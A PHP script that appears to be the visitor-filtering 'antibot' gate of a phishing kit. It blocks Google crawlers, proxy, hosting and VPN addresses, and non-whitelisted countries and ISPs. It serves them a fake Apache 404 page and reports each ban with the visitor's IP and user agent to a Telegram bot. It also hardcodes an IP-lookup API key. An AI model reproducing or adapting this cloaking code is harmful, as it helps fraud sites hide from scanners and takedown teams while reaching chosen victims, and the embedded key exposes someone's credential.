<?php
session_start();

require_once __DIR__ . '/config.php';
require_once __DIR__ . '/app/functions.php';

$ip = getUserIP();
$_SESSION['ip'] = $ip;
$_SESSION['ua'] = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';

$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$ua = $_SESSION['ua'];
$ip = $_SESSION['ip'];

date_default_timezone_set('Europe/Paris');
$date = date('H:i:s');

function sendBanToTelegram($org, $countryCode, $motif, $host, $ip, $ua, $date, $CONFIG) {
    $org = htmlspecialchars($org ?? 'N/A', ENT_QUOTES, 'UTF-8');
    $countryCode = htmlspecialchars($countryCode ?? 'N/A', ENT_QUOTES, 'UTF-8');
    $motif = htmlspecialchars($motif ?? 'Unknown reason', ENT_QUOTES, 'UTF-8');
    $host = htmlspecialchars($host ?? 'localhost', ENT_QUOTES, 'UTF-8');
    $ip = htmlspecialchars($ip ?? '0.0.0.0', ENT_QUOTES, 'UTF-8');
    $ua = htmlspecialchars($ua ?? 'Unknown', ENT_QUOTES, 'UTF-8');
    $date = htmlspecialchars($date ?? '-', ENT_QUOTES, 'UTF-8');

    $text = <<<EOT
<b>+1 BANNED 🔴</b>

<b>🛸 ISP ➟</b> <code>{$org}</code>
<b>🌍 PAYS ➟</b> <code>{$countryCode}</code>
<b>🕛 DATE ➟</b> <code>{$date}</code>
<b>⚠️ MOTIF ➟</b> <code>{$motif}</code>
<b>🔗 URL ➟</b> <code>{$host}</code>

<b>🌐 IP ➟</b> <code>{$ip}</code>
<b>🌐 UA ➟</b> <code>{$ua}</code>
EOT;

    if (function_exists('sendMessage')) {
        sendMessage($CONFIG['bot_chat_id'], $text);
    }
}

function isMobile() {
    return preg_match("/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Windows NT|Macintosh|Windows|Mac/", $_SERVER['HTTP_USER_AGENT']);
}

if (stripos($_SERVER['HTTP_USER_AGENT'], 'google') !== false) {
    $_SESSION['ab-message'] = 'Crawler Google détecté';
    sendBanToTelegram('Unknown', 'XX', $_SESSION['ab-message'], $host, $ip, $ua, $date, $CONFIG);
    header('HTTP/1.0 404 Not Found');
    die('HTTP/1.0 404 Not Found');
}

if (!isMobile()) {
    $_SESSION['ab-message'] = 'Access Denied (Mobile only)';
    sendBanToTelegram('Unknown', 'XX', $_SESSION['ab-message'], $host, $ip, $ua, $date, $CONFIG);
    header('HTTP/1.0 404 Not Found');
    die('HTTP/1.0 404 Not Found');
}

function checkIp($ip, $CONFIG) {
    $curl = curl_init();
    curl_setopt_array($curl, [
        CURLOPT_URL => "https://pro.ip-api.com/json/{$ip}?key=LWKtz4EzQwMJRyQ&fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,mobile,proxy,hosting,query",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "GET",
    ]);
    $ipinfo = curl_exec($curl);
    curl_close($curl);

    $ipinfo_json = json_decode($ipinfo, true);
    if (empty($ipinfo_json) || !empty($ipinfo_json['message']) || ($ipinfo_json['status'] ?? '') !== 'success') {
        return ['ok' => false, 'motif' => 'API ip-api indisponible', 'org' => 'Unknown', 'countryCode' => 'XX'];
    }

    $countryCode = strtoupper($ipinfo_json['countryCode'] ?? 'XX');

    $asField  = trim((string)($ipinfo_json['as'] ?? ''));
    $orgField = trim((string)($ipinfo_json['org'] ?? ''));
    $ispField = trim((string)($ipinfo_json['isp'] ?? ''));

    $displayOrg = $orgField ?: ($asField ?: ($ispField ?: 'Unknown'));

    $proxy   = $ipinfo_json['proxy'] ?? false;
    $hosting = $ipinfo_json['hosting'] ?? false;

    if ($proxy || $hosting) {
        return ['ok' => false, 'motif' => 'Access Denied (Proxy/Hosting/VPN detected)', 'org' => $displayOrg, 'countryCode' => $countryCode];
    }

    if (!in_array($countryCode, $CONFIG['whitelist_countries'], true)) {
        return ['ok' => false, 'motif' => 'Access Denied (Country not allowed)', 'org' => $displayOrg, 'countryCode' => $countryCode];
    }

    $ispsPath = __DIR__ . '/isps.json';
    $ispsJson = file_exists($ispsPath) ? json_decode(file_get_contents($ispsPath), true) : null;
    if (!is_array($ispsJson) || !isset($ispsJson[$countryCode]['isps'])) {
        return ['ok' => false, 'motif' => 'Access Denied (No ISP config)', 'org' => $displayOrg, 'countryCode' => $countryCode];
    }

    $allowedIsps = $ispsJson[$countryCode]['isps'];

    $haystack = strtolower(trim($asField . ' ' . $orgField . ' ' . $ispField));

    foreach ($allowedIsps as $allowedIsp) {
        $allowedIspLower = strtolower(trim((string)$allowedIsp));
        if ($allowedIspLower === '') {
            continue;
        }
        if (stripos($haystack, $allowedIspLower) !== false) {
            return ['ok' => true, 'motif' => '', 'org' => $displayOrg, 'countryCode' => $countryCode];
        }
    }

    return ['ok' => false, 'motif' => 'Access Denied (ISP not recognized)', 'org' => $displayOrg, 'countryCode' => $countryCode];
}

$check = checkIp($ip, $CONFIG);

if (!$check['ok']) {
    $_SESSION['boty'] = true;
    $_SESSION['ab-message'] = $check['motif'];
    sendBanToTelegram($check['org'], $check['countryCode'], $_SESSION['ab-message'], $host, $ip, $ua, $date, $CONFIG);

    header("HTTP/1.0 404 Not Found");
    $requestedPage = $_SERVER['REQUEST_URI'];
    $requestedPageWithoutQueryString = parse_url($requestedPage, PHP_URL_PATH);
    $serverName = $_SERVER['SERVER_NAME'];
    echo <<<EOL
        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
        <html><head>
        <title>404 Not Found</title>
        </head><body>
        <h1>Not Found</h1>
        <p>The requested URL $requestedPageWithoutQueryString was not found on this server.</p>
        <hr>
        <address>Apache/2.4.57 (Debian) Server at $serverName Port 80</address>
        </body></html>
        EOL;
    die();
} else {
    $_SESSION['boty'] = false;
}
?>
